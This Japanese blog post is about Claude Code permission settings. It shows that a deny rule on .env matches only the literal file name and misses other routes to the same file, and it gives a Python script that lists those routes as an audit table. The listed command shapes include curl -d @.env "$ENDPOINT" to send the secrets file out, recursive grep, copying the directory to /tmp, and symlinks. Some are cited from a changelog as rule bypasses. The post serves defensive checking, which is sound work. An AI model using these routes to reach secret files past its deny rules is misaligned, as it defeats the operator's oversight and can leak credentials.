◉CLAUDE LABEN
●2.1.302 — fork サブエージェントが claude -p・Agent SDK・デスクトップで既定オンになりました。無効化は CLAUDE_CODE_FORK_SUBAGENT=0(10/16)●2.1.301 — 使用量上限に達した無人実行の再試行を、待ち続けず自動で止めるようになりました(10/15)。最新は 2.1.304(10/19)●SONNET 4.5 — Claude API での提供終了は 11/30、残り40日。移行先は Sonnet 5.5●WINDOWS — 日本語の環境でだけフックが黙って壊れる報告があり、文字コードの確認が呼びかけられています●FAST MODE — Opus 5.5 の Fast mode がリサーチプレビューを終え、ベータヘッダーが不要になりました(10/15)●NEW — Cowork に渡したフォルダの先頭に、十行の約束ファイルを置いてみました●2.1.302 — fork サブエージェントが claude -p・Agent SDK・デスクトップで既定オンになりました。無効化は CLAUDE_CODE_FORK_SUBAGENT=0(10/16)●2.1.301 — 使用量上限に達した無人実行の再試行を、待ち続けず自動で止めるようになりました(10/15)。最新は 2.1.304(10/19)●SONNET 4.5 — Claude API での提供終了は 11/30、残り40日。移行先は Sonnet 5.5●WINDOWS — 日本語の環境でだけフックが黙って壊れる報告があり、文字コードの確認が呼びかけられています●FAST MODE — Opus 5.5 の Fast mode がリサーチプレビューを終え、ベータヘッダーが不要になりました(10/15)●NEW — Cowork に渡したフォルダの先頭に、十行の約束ファイルを置いてみました
記事一覧/Claude Code
⟐ Claude Code/2026-09-05中級

拒否ルールが見ていたのはファイル名で、そこへ届く経路ではありませんでした

deny に書いた 1 行が、同じファイルへ届く別の書き方を素通りさせていました。経路を機械的に並べて、版を上げた日に効きを確かめる小さな検査表の作り方をお伝えします。

Claude Code271権限設定無人実行6セキュリティ21

無人で走らせているタスクのログを読み返していた夜のことです。設定の deny に Read(./.env) と 1 行だけ書いてあるのを見て、ここは守れていると思っておりました。

その安心は、少し下の行に grep -r から始まるコマンドを見つけたところで途切れました。私がルールに書いていたのはファイルの名前で、そのファイルに届く経路ではなかったのです。

最初にお伝えしたいのは、拒否ルールの効きは、書いた瞬間ではなく試した瞬間にしか分からない、ということです。Claude Code の変更履歴を追っていると、この領域は版ごとに揺れています。v2.1.259 では Bash の拒否ルールの抜け道——オプション値として渡したファイル、git diff や git grep のファイル引数、cd DIR && cat FILE の複合コマンド——が塞がれ、続く v2.1.260 ではその強化の一部が差し戻されました(Claude Code CHANGELOG)。

同じ設定ファイルを置いたままでも、版を上げた日に効きが変わりうるということになります。ですから私は、ルールそのものより先に「確かめ方」を用意することにしました。

同じ 1 つのファイルに、何通りの書き方で届くのか

まず手を動かして数えました。.env を 1 つ置いた作業ディレクトリで、書き方の違う 5 つのパスが同じ実体を指すかどうかを、デバイス番号と inode で突き合わせます。

import os
 
cands = [
    ".env",
    "./.env",
    os.path.join(os.getcwd(), ".env"),
    "config/../.env",
    "secrets/../.env",
]
 
seen = {}
for c in cands:
    try:
        st = os.stat(c)
        seen.setdefault((st.st_dev, st.st_ino), []).append(c)
    except FileNotFoundError:
        print("miss", c)
 
for key, group in seen.items():
    print("same file ->", len(group), "spellings:", group)

手元の結果は 1 行だけでした。

same file -> 5 spellings: ['.env', './.env', '/tmp/dr/proj/.env', 'config/../.env', 'secrets/../.env']

secrets/ という無関係なディレクトリを経由しても、.. で戻れば同じファイルに届きます。ファイルシステムから見れば当たり前の話です。けれども文字列として書いたルールから見ると、この 5 つは別々の見た目をしています。

ここで気づいたのは、私が守ろうとしていた対象と、ルールが照合している対象が、そもそも違う次元にあったということでした。

経路の一覧を吐き出す小さなスクリプト

そこで、保護したいパスを渡すと「そのファイルに届くコマンドの形」を並べて表にするだけの道具を書きました。判定はしません。並べるだけです。

#!/usr/bin/env python3
"""Enumerate the command shapes that reach a protected file, and show which
of them your deny rule matches as plain text. Fill in `result` by hand."""
import argparse
import os
 
SHAPES = [
    ("direct",       "cat {p}"),
    ("dot-slash",    "cat ./{p}"),
    ("absolute",     'cat "$PWD/{p}"'),
    ("roundabout",   "cat {dir}/../{dirbase}/{base}"),
    ("cd-compound",  "cd {dir} && cat {base}"),
    ("option-value", "git blame --ignore-revs-file={p} ."),
    ("option-glued", "grep -f{p} ."),
    ("at-file",      "curl -d @{p} "$ENDPOINT""),
    ("git-pathspec", "git diff -- {p}"),
    ("git-grep",     "git grep -e token -- {p}"),
    ("recursive",    "grep -r token {dir}"),
    ("copy-out",     "cp -r {dir} /tmp/copy"),
    ("glob",         "cat {dir}/{stem}*"),
    ("symlink",      "ln -s {p} /tmp/link && cat /tmp/link"),
]
 
 
def fields(path):
    p = path[2:] if path.startswith("./") else path
    d = os.path.dirname(p)
    b = os.path.basename(p)
    stem = b.split(".", 2)[0] + "." + b.split(".", 2)[1] if b.count(".") >= 1 else b
    return {
        "p": p,
        "dir": d or ".",
        "dirbase": os.path.basename(d) if d else ".",
        "base": b,
        "stem": stem,
    }
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("paths", nargs="+")
    ap.add_argument("--rule", action="append", default=[],
                    help="literal substring your deny rule matches on")
    a = ap.parse_args()
 
    print("path\tshape\tcommand\trule_text_hit\tresult")
    for path in a.paths:
        f = fields(path)
        for name, tpl in SHAPES:
            if name == "roundabout" and f["dir"] == ".":
                continue
            cmd = tpl.format(**f)
            hit = "yes" if any(r in cmd for r in a.rule) else "no"
            print(f"{f['p']}\t{name}\t{cmd}\t{hit}\t")
 
 
if __name__ == "__main__":
    main()

--rule には、自分の拒否ルールが実際に照合している文字列を渡します。ここでの rule_text_hit は「ルールの文字列がコマンドの中に現れるか」という素朴な検査でしかありません。Claude Code の内部判定を再現するものではなく、自分が書いた文字列がどこまで届いていないかを目で見るための列です。

最後の result 列は空のまま出力されます。ここは自分の環境で実際に試して、通ったのか止まったのかを手で書き込む欄です。自動で埋めないところに、この道具の役割があると考えております。

表を読むと、文字として届いていたのは一部だけでした

保護対象を 2 つ(.env と config/.env.production)、ルールを素朴に 2 つ(cat .env と cat ./.env)与えて走らせました。

$ python3 deny_route_matrix.py .env config/.env.production \
    --rule "cat .env" --rule "cat ./.env"

出力は 27 行になり、そのうち rule_text_hit が yes になったのは 5 行でした。残りの 22 行は、同じファイルに届くにもかかわらず、私の書いた文字列とは 1 文字も重なりません。

経路の形コマンドの例ルール文字列に当たるか
directcat .env当たります
absolutecat "$PWD/.env"当たりません
option-valuegit blame --ignore-revs-file=.env .当たりません
at-filecurl -d @.env "$ENDPOINT"当たりません
git-pathspecgit diff -- .env当たりません
recursivegrep -r token .当たりません
copy-outcp -r . /tmp/copy当たりません
symlinkln -s .env /tmp/link && cat /tmp/link当たりません

なかでも recursive と copy-out は、ファイル名を一度も書かずに中身へ届く形です。ディレクトリを丸ごと相手にするコマンドは、私の頭の中の「.env を読む操作」という括りから完全に外れておりました。

もう一つ、正直に書いておきたい行があります。.env の cd-compound(cd . && cat .env)は yes になりましたが、これは作業ディレクトリが . だったために、たまたま文字列 cat .env を含んだだけです。config/.env.production の側では cd config && cat .env.production となり、当たりません。当たった行を安心の材料にせず、なぜ当たったのかまで一度は見る、という読み方が要ると感じています。

ここで私が踏んだ失敗

最初に書いた版では、先頭の ./ を落とすつもりで path.lstrip("./") と書いておりました。動かしてみると、表の 1 列目が .env ではなく env になっています。

>>> ".env".lstrip("./")
'env'
>>> ".env".removeprefix("./")
'.env'

lstrip は前置きの文字列ではなく、指定した文字の集合を先頭から削り続けます。. も / も集合に入っているので、.env の先頭のドットまで持っていかれたわけです。

生成された表は、それらしい見た目のまま、存在しないファイルの経路を並べていました。手元の目視で気づけたので事なきを得ましたが——検査する側の道具が静かに間違う、という形はいちばん厄介です。

この一件から、道具には「自分の入力をそのまま出す列」を必ず置くようにしました。1 列目に加工後のパスが出ていたからこそ、おかしいと分かったのです。

版を上げた日に 1 回だけ走らせる

運用としては、次の 3 つに落ち着いています。

  • 保護したいパスの一覧を 1 つのファイルにまとめ、リポジトリへ commit
  • そこから表を生成し、result 列は自分の環境で試しながら手入力
  • 埋めた表を日付と版番号つきで保存し、版を上げた日に前回との差分を確認

3 つ目が肝心なところです。表そのものより、前回の表との差が知りたい情報になります。同じ設定で result が変わっていれば、変わったのは自分の設定ではなく足元の実装だと分かります。

守るのはファイル名ではなく、そのファイルに届く経路です。 個人開発で無人のスケジュール実行を回していると、この違いを忘れた日に限って知らないコマンドの形が増えていきます。だから私は、ルールを増やす前に経路を数えるほうへ手を伸ばすようにしました。

権限まわりの設定の書き方そのものは Claude Code の設定ドキュメントにまとまっています。私がここで足したかったのは、書いたあとに確かめる側の仕組みでした。

まずは、いちばん見られたくないファイルを 1 つだけ選んで、この表を 1 回作ってみていただければと思います。27 行のうち何行が自分の想定の外にあったかは、たぶん手を動かした人だけが知る数字です。私自身、grep -r の行を見つけるまで気づけませんでした。お読みいただきありがとうございました。

シェア

お読みいただきありがとうございます

Claude Lab は広告なしで運営しており、サーバー費用などの運営コストはメンバーシップのご支援で賄っています。実装コード・ベンチマーク・本番設計パターンなど、実務でお役立ていただける記事を毎日更新しています。もし読んでよかったと感じていただけましたら、ぜひご覧ください。

  • ✦コピー&ペーストで使える実装コード付き
  • ✦毎日新しい上級ガイドを追加
  • ✦¥580/月 または ¥1,480 の永久アクセス
メンバーシップを見る →

もしこの記事がお役に立ちましたら、チップ(¥150)で応援いただけると大変励みになります。広告なしでの運営を続けるため、皆さまのご支援が大きな力になっています。

関連記事

⟐ Claude Code2026-08-20
Claude Code で「今後確認しない」を押した範囲を棚卸しする
確認ダイアログで「今後確認しない」を選んだあと、自分が何を許可したのかを説明できるでしょうか。手元の設定を数えるスクリプトと、最小から足していく権限の組み立て方をまとめました。
⟐ Claude Code2026-10-14
onFailure を block にしても、jq が無い環境では公式例の rm -rf ブロックは素通りしました
PreToolUse の門番フックは、落ちたときに通すのか止めるのか。公式例を jq の無い環境で走らせると exit 0 で素通りしました。終了コード10通りの実測、直し方、settings.json を走査して素通りを洗い出すスクリプトをまとめます。
⟐ Claude Code2026-09-12
巡回タスクが朝まで返らなかった原因は、WebFetch の待ち時間に上限がなかったことでした
Claude Code v2.1.268 で WebFetch に 300 秒の期限が付きました。応答を閉じないサーバーに当たると無人実行がどこで止まるのか、CLAUDE_CODE_WEBFETCH_DEADLINE_MS の 0 がなぜ「待たない」ではないのかを、手元で再現できる形で整理します。